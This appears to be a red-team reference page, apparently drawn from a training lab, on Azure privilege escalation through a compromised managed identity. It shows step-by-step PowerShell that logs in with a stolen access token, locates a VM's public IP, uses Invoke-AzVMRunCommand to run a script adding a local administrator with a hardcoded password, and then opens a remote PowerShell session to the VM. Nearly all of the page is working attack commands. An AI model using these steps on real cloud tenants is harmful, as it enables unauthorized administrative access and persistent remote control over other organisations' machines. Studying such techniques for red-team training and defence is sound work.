> For the complete documentation index, see [llms.txt](https://cookiez.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cookiez.gitbook.io/red-team/cloud/azure/privilege-escalation/managed-identity-command-execution.md).

# Managed Identity Command Execution

{% hint style="warning" %}
This attack involves having already compromised the managed identity of an app and enumeration of any VMs that it can execute commands on.
{% endhint %}

{% hint style="warning" %}
This example adds a local administrator, but relies on local accounts being allowed to connect remotely.
{% endhint %}

{% stepper %}
{% step %}

### Use previous examples to steal an access token

```powershell
$AccessToken = 'eyJ0…'
Connect-AzAccount -AccessToken $AccessToken -AccountId 064aaf57-30af-41f0-840a-0e21ed149946
```

{% endstep %}

{% step %}

### Check for public IP of VM

```powershell
Get-AzVM -Name bkpadconnect -ResourceGroupName Engineering | select -ExpandProperty NetworkProfile
```

{% endstep %}

{% step %}

### Get details of network interface

```powershell
Get-AzNetworkInterface -Name bkpadconnect368
```

Use the last string of the previous command after /.

<figure><img src="https://684105785-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqxmnxuDhun8NjxBfiBEr%2Fuploads%2FbvTCJyg8LntzyJB7CGn1%2Fimage.png?alt=media&amp;token=25d319c7-095f-4883-aeba-0d1ecb6ea846" alt=""><figcaption></figcaption></figure>
{% endstep %}

{% step %}

### Get the public IP of the VM

```powershell
Get-AzPublicIpAddress -Name bkpadconnectIP
```

<figure><img src="https://684105785-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqxmnxuDhun8NjxBfiBEr%2Fuploads%2FZAUKxQSS6Wj6IjLC6rml%2Fimage.png?alt=media&amp;token=36016b89-5360-4e53-bd75-5c7f6c66ef2c" alt=""><figcaption></figcaption></figure>
{% endstep %}

{% step %}

### Run a script

For example, adding a user as Administrator&#x20;

```powershell
Invoke-AzVMRunCommand -VMName bkpadconnect -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath 'C:\AzAD\Tools\adduser.ps1' -Verbose
```

```
$passwd = ConvertTo-SecureString "StudXPassword@123" -AsPlainText -Force
New-LocalUser -Name studentX -Password $passwd
Add-LocalGroupMember -Group Administrators -Member studentx
```

{% endstep %}

{% step %}

### Connect

```powershell
$password = ConvertTo-SecureString 'StudxPassword@123' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('studentx', $Password)
$sess = New-PSSession -ComputerName 20.52.148.232 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
```

{% endstep %}
{% endstepper %}
